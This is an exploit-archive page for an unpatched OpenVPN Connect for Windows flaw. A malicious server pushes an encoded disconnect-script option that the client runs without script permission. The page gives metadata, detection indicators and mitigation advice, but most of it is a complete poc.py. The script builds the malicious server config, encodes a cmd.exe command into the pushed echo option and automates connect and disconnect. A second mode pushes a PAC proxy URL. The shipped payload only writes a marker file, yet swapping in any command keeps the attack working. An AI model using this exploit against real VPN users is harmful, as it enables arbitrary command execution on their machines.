PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

OpenVPN Connect Server-Pushed Option Current-User Command Execution

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
network
Affected product
OpenVPN Connect for Windows
Affected versions
3.8.0 (4528), OpenVPN core 3.11.3
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsopenvpn, openvpn-connect, malicious-vpn-server, command-execution, script-permission-bypass, pushed-options, windows, client-side
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenVPN Connect for Windows
Versions Affected3.8.0 (4528), OpenVPN core 3.11.3
Language / PlatformWindows desktop client; Python 3.9+ PoC driving a local OpenVPN 2.x test server
Authentication RequiredNo (attacker only needs the victim to import and connect to a malicious .ovpn profile)
Network Access RequiredYes (victim must connect to the attacker-controlled OpenVPN server)

Summary

A malicious OpenVPN server can push an echo option to a connected OpenVPN Connect for Windows client that decodes into the internal script.win.user.disconnect script key. OpenVPN Connect then executes that pushed command when the client disconnects, even though the imported profile’s script-permission state is unset or explicitly false — meaning the client believes scripting is disabled while the server-pushed echo path bypasses that check entirely. The same PoC bundle also documents a second, lower-severity finding: a malicious server can push dhcp-option PROXY_AUTO_CONFIG_URL to set a server-controlled PAC (proxy auto-config) URL in the victim’s HKCU Internet Settings for the duration of the VPN session, via the privileged /tun-setup helper path, though this state is cleaned up automatically on disconnect. Both findings were locally verified by the researcher against the stated OpenVPN Connect build. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

OpenVPN Connect executes decoded script.* data received via a server-pushed echo option (specifically script.win.user.disconnect) on client disconnect, without checking that the corresponding profile’s script-permission flag (scriptsPermissionGranted) has actually been granted by the user.

Attack Vector

  1. Attacker stands up a malicious OpenVPN 2.x server and crafts a client .ovpn profile pointing to it.
  2. Victim imports the profile into OpenVPN Connect for Windows (script permissions remain unset/false — no explicit grant occurs).
  3. Victim connects to the malicious server.
  4. The malicious server pushes echo 0:0:<base64(script.win.user.disconnect)>.<base64(command)> to the connected client.
  5. Victim disconnects from the VPN (normal user action).
  6. OpenVPN Connect decodes and executes the pushed command on disconnect under the current user’s privileges, despite script permissions never having been granted for the profile.

Impact

Current-user arbitrary command execution triggered purely by a victim connecting to and then disconnecting from a malicious/compromised OpenVPN server — no explicit script-permission grant or additional user interaction is required beyond the normal connect/disconnect flow. The companion PAC finding additionally shows a malicious server can transiently alter the victim’s system proxy configuration while connected.


Environment / Lab Setup

Target:   OpenVPN Connect for Windows 3.8.0 (4528), OpenVPN core 3.11.3, Windows desktop
Attacker: Python 3.9+, local OpenVPN 2.x community binary (openvpn.exe), poc.py, cmd.exe only

Proof of Concept

PoC Script

See poc.py and certs/ (throwaway lab TLS material) in this folder. This PoC bundle is intentionally marker-only: it does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell — the pushed command instead writes a benign marker file to prove the code-execution primitive.

1
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

The script builds a malicious server .ovpn config pushing the echo 0:0:... script payload, starts a local OpenVPN 2.x server, imports a disposable client profile into OpenVPN Connect, connects, disconnects, and checks for the benign marker file (%TEMP%\openvpn_connect_echo_script_ace_marker.txt) written by the executed command — confirming code execution without performing any actually harmful action.


Detection & Indicators of Compromise

Signs of compromise:

  • OpenVPN Connect logs showing pushed echo options containing base64-encoded script.win.user.disconnect values
  • Unexpected processes or file writes correlating with VPN disconnect events
  • HKCU Internet Settings AutoConfigURL set to an unfamiliar URL while connected to a VPN, cleared automatically on disconnect

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationDo not import/connect to .ovpn profiles from untrusted VPN providers; where possible, restrict or audit OpenVPN Connect’s handling of server-pushed echo and dhcp-option PROXY_AUTO_CONFIG_URL options via endpoint policy

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: openvpn-connect-echo-script-ace-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source author states the PoC is intentionally “marker-only” — it does not pop calc, spawn a shell, or perform any destructive/credential-accessing action; it only proves the primitive via a benign marker file/registry-state check.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
from __future__ import annotations

import argparse
import base64
import json
import os
import shutil
import signal
import subprocess
import sys
import tempfile
import time
from pathlib import Path


ROOT = Path(__file__).resolve().parent
CERT_DIR = ROOT / "certs"
RUNTIME_DIR = ROOT / "runtime"
DEFAULT_PORT = 11940
DEFAULT_MARKER_NAME = "openvpn_connect_echo_script_ace_marker.txt"
PROFILE_NAME_PREFIX = "openvpn-connect-pushed-option-poc"
FINDING_ECHO_SCRIPT = "echo-script"
FINDING_PROXY_AUTO_CONFIG = "proxy-auto-config"
DEFAULT_PAC_URL = "http://127.0.0.1:18080/openvpn-connect-ace.pac"


def b64(text: str) -> str:
    return base64.b64encode(text.encode("utf-8")).decode("ascii")


def ovpn_path(path: Path) -> str:
    return str(path.resolve()).replace("\\", "/")


def read_text(path: Path) -> str:
    return path.read_text(encoding="ascii")


def require_file(path: Path) -> None:
    if not path.is_file():
        raise FileNotFoundError(f"Required file is missing: {path}")


def default_marker_path() -> Path:
    return Path(tempfile.gettempdir()) / DEFAULT_MARKER_NAME


def default_connect_exe() -> Path | None:
    env = os.environ.get("OPENVPN_CONNECT_EXE")
    if env:
        return Path(env)
    candidate = Path(r"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe")
    return candidate if candidate.is_file() else None


def default_openvpn_exe() -> str | None:
    env = os.environ.get("OPENVPN_EXE")
    if env:
        return env
    found = shutil.which("openvpn.exe") or shutil.which("openvpn")
    if found:
        return found
    candidate = Path(r"C:\Program Files\OpenVPN\bin\openvpn.exe")
    return str(candidate) if candidate.is_file() else None


def build_payload_command(marker: Path) -> str:
    marker_text = str(marker)
    if '"' in marker_text:
        raise ValueError("Marker path must not contain a double quote")
    return f'cmd.exe /c echo OPENVPN_CONNECT_ECHO_SCRIPT_ACE>"{marker_text}"'


def build_server_config(port: int, finding: str, command: str, pac_url: str) -> str:
    if finding == FINDING_ECHO_SCRIPT:
        key = b64("script.win.user.disconnect")
        value = b64(command)
        pushes = [f'push "echo 0:0:{key}.{value}"']
    else:
        pushes = [f'push "dhcp-option PROXY_AUTO_CONFIG_URL {pac_url}"']

    return "\n".join(
        [
            f"port {port}",
            "proto tcp-server",
            "dev null",
            "mode server",
            "tls-server",
            f'ca "{ovpn_path(CERT_DIR / "ca.crt")}"',
            f'cert "{ovpn_path(CERT_DIR / "server.crt")}"',
            f'key "{ovpn_path(CERT_DIR / "server.key")}"',
            "dh none",
            "server 10.88.0.0 255.255.255.0",
            "topology subnet",
            "keepalive 1 3",
            "duplicate-cn",
            *pushes,
            'push "ping 1"',
            'push "ping-restart 3"',
            "verb 4",
            f'status "{ovpn_path(RUNTIME_DIR / "server.status")}"',
            f'log "{ovpn_path(RUNTIME_DIR / "server.log")}"',
            "",
        ]
    )


def build_client_config(port: int) -> str:
    return "\n".join(
        [
            "client",
            "dev tun",
            "proto tcp-client",
            f"remote 127.0.0.1 {port}",
            "nobind",
            "persist-key",
            "persist-tun",
            "remote-cert-tls server",
            "auth SHA256",
            "cipher AES-256-GCM",
            "data-ciphers AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305",
            "verb 4",
            "connect-retry-max 1",
            "resolv-retry 1",
            "<ca>",
            read_text(CERT_DIR / "ca.crt").strip(),
            "</ca>",
            "<cert>",
            read_text(CERT_DIR / "client.crt").strip(),
            "</cert>",
            "<key>",
            read_text(CERT_DIR / "client.key").strip(),
            "</key>",
            "",
        ]
    )


def build_configs(port: int, marker: Path, finding: str, pac_url: str) -> tuple[Path, Path, str]:
    for name in ["ca.crt", "server.crt", "server.key", "client.crt", "client.key"]:
        require_file(CERT_DIR / name)
    RUNTIME_DIR.mkdir(exist_ok=True)
    command = build_payload_command(marker) if finding == FINDING_ECHO_SCRIPT else ""
    server_config = RUNTIME_DIR / "server.ovpn"
    client_config = RUNTIME_DIR / f"client_{finding.replace('-', '_')}_poc.ovpn"
    server_config.write_text(build_server_config(port, finding, command, pac_url), encoding="ascii")
    client_config.write_text(build_client_config(port), encoding="ascii")
    detail = command if finding == FINDING_ECHO_SCRIPT else pac_url
    return server_config, client_config, detail


def run(args: list[str], check: bool = False) -> subprocess.CompletedProcess[str]:
    completed = subprocess.run(
        args,
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        check=False,
    )
    if check and completed.returncode != 0:
        raise RuntimeError(
            f"Command failed with exit {completed.returncode}: {' '.join(args)}\n{completed.stdout}"
        )
    return completed


def start_server(openvpn_exe: str, server_config: Path) -> subprocess.Popen[bytes]:
    stdout = open(RUNTIME_DIR / "server.stdout.txt", "wb")
    stderr = open(RUNTIME_DIR / "server.stderr.txt", "wb")
    proc = subprocess.Popen(
        [openvpn_exe, "--config", str(server_config)],
        cwd=str(RUNTIME_DIR),
        stdout=stdout,
        stderr=stderr,
    )
    time.sleep(2)
    if proc.poll() is not None:
        raise RuntimeError(
            "OpenVPN server exited early. Check runtime/server.log and "
            "runtime/server.stderr.txt for details."
        )
    return proc


def stop_process(proc: subprocess.Popen[bytes] | None) -> None:
    if not proc or proc.poll() is not None:
        return
    if os.name == "nt":
        proc.terminate()
    else:
        proc.send_signal(signal.SIGTERM)
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.kill()


def connect_cli(connect_exe: Path, *args: str) -> subprocess.CompletedProcess[str]:
    return run([str(connect_exe), *args])


def list_profiles(connect_exe: Path) -> list[dict]:
    output = connect_cli(connect_exe, "--list-profiles").stdout.strip()
    if not output:
        return []
    try:
        data = json.loads(output)
        return data if isinstance(data, list) else []
    except json.JSONDecodeError:
        return []


def import_profile(connect_exe: Path, client_config: Path, profile_name: str) -> str:
    before = {item.get("id") for item in list_profiles(connect_exe)}
    completed = connect_cli(
        connect_exe,
        f"--import-profile={client_config}",
        f"--name={profile_name}",
    )
    text = completed.stdout.strip()
    if text:
        try:
            parsed = json.loads(text)
            profile_id = parsed.get("message", {}).get("id")
            if profile_id:
                return str(profile_id)
        except json.JSONDecodeError:
            pass

    time.sleep(2)
    for item in list_profiles(connect_exe):
        if item.get("id") not in before and item.get("name") == profile_name:
            return str(item["id"])
    raise RuntimeError(f"Could not determine imported profile id. Import output:\n{text}")


def proxy_state() -> dict[str, object | None]:
    if os.name != "nt":
        return {}
    import winreg

    path = r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
    names = ["AutoConfigURL", "ProxyEnable", "ProxyServer", "ProxyOverride"]
    state: dict[str, object | None] = {}
    with winreg.OpenKey(winreg.HKEY_CURRENT_USER, path) as key:
        for name in names:
            try:
                state[name] = winreg.QueryValueEx(key, name)[0]
            except FileNotFoundError:
                state[name] = None
    return state


def auto_mode(
    openvpn_exe: str,
    connect_exe: Path,
    server_config: Path,
    client_config: Path,
    marker: Path,
    finding: str,
) -> None:
    if finding == FINDING_ECHO_SCRIPT and marker.exists():
        marker.unlink()

    server = None
    profile_id = None
    profile_name = f"{PROFILE_NAME_PREFIX}-{finding}-{int(time.time())}"
    before_proxy = proxy_state() if finding == FINDING_PROXY_AUTO_CONFIG else {}
    try:
        connect_cli(connect_exe, "--quit")
        time.sleep(2)
        server = start_server(openvpn_exe, server_config)
        profile_id = import_profile(connect_exe, client_config, profile_name)
        connect_cli(connect_exe, f"--connect-shortcut={profile_id}", "--minimize")
        print(f"[+] Imported profile id: {profile_id}")
        print("[+] Waiting for connect and server-pushed option handling...")
        time.sleep(16)

        if finding == FINDING_PROXY_AUTO_CONFIG:
            print("[+] Proxy state before connect:")
            print(json.dumps(before_proxy, indent=2))
            print("[+] Proxy state during connection:")
            print(json.dumps(proxy_state(), indent=2))

        connect_cli(connect_exe, "--disconnect-shortcut")
        time.sleep(4)

        if finding == FINDING_ECHO_SCRIPT and marker.is_file():
            print(f"[+] Marker created: {marker}")
            print(marker.read_text(encoding="utf-8", errors="replace").strip())
        elif finding == FINDING_ECHO_SCRIPT:
            print(f"[-] Marker was not created: {marker}")
            print("    Check OpenVPN Connect logs and runtime/server.log.")
        else:
            print("[+] Proxy state after disconnect:")
            print(json.dumps(proxy_state(), indent=2))
    finally:
        if profile_id:
            connect_cli(connect_exe, f"--remove-profile={profile_id}")
        connect_cli(connect_exe, "--quit")
        stop_process(server)


def server_mode(openvpn_exe: str, server_config: Path, client_config: Path, marker: Path, finding: str, pac_url: str) -> None:
    print(f"[+] Client profile: {client_config}")
    if finding == FINDING_ECHO_SCRIPT:
        print(f"[+] Marker path after disconnect: {marker}")
    else:
        print(f"[+] Pushed PAC URL: {pac_url}")
    print("[+] Starting local malicious OpenVPN server. Press Ctrl+C to stop.")
    server = start_server(openvpn_exe, server_config)
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] Stopping server...")
    finally:
        stop_process(server)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Benign OpenVPN Connect server-pushed option PoC without PowerShell."
    )
    parser.add_argument("--mode", choices=["build", "server", "auto"], default="build")
    parser.add_argument("--finding", choices=[FINDING_ECHO_SCRIPT, FINDING_PROXY_AUTO_CONFIG], default=FINDING_ECHO_SCRIPT)
    parser.add_argument("--port", type=int, default=DEFAULT_PORT)
    parser.add_argument("--marker", type=Path, default=default_marker_path())
    parser.add_argument("--pac-url", default=DEFAULT_PAC_URL)
    parser.add_argument("--openvpn", default=default_openvpn_exe(), help="Path to OpenVPN 2.x openvpn executable")
    parser.add_argument("--connect", type=Path, default=default_connect_exe(), help="Path to OpenVPNConnect.exe")
    args = parser.parse_args()

    server_config, client_config, detail = build_configs(args.port, args.marker, args.finding, args.pac_url)
    print(f"[+] Wrote {server_config}")
    print(f"[+] Wrote {client_config}")
    if args.finding == FINDING_ECHO_SCRIPT:
        print(f"[+] Pushed disconnect command: {detail}")
    else:
        print(f"[+] Pushed PAC URL: {detail}")

    if args.mode == "build":
        print("[+] Build-only mode complete.")
        return 0

    if not args.openvpn:
        print("[-] Could not find OpenVPN 2.x. Pass --openvpn or set OPENVPN_EXE.", file=sys.stderr)
        return 2

    if args.mode == "server":
        server_mode(args.openvpn, server_config, client_config, args.marker, args.finding, args.pac_url)
        return 0

    if not args.connect or not args.connect.is_file():
        print("[-] Could not find OpenVPN Connect. Pass --connect or set OPENVPN_CONNECT_EXE.", file=sys.stderr)
        return 2

    auto_mode(args.openvpn, args.connect, server_config, client_config, args.marker, args.finding)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())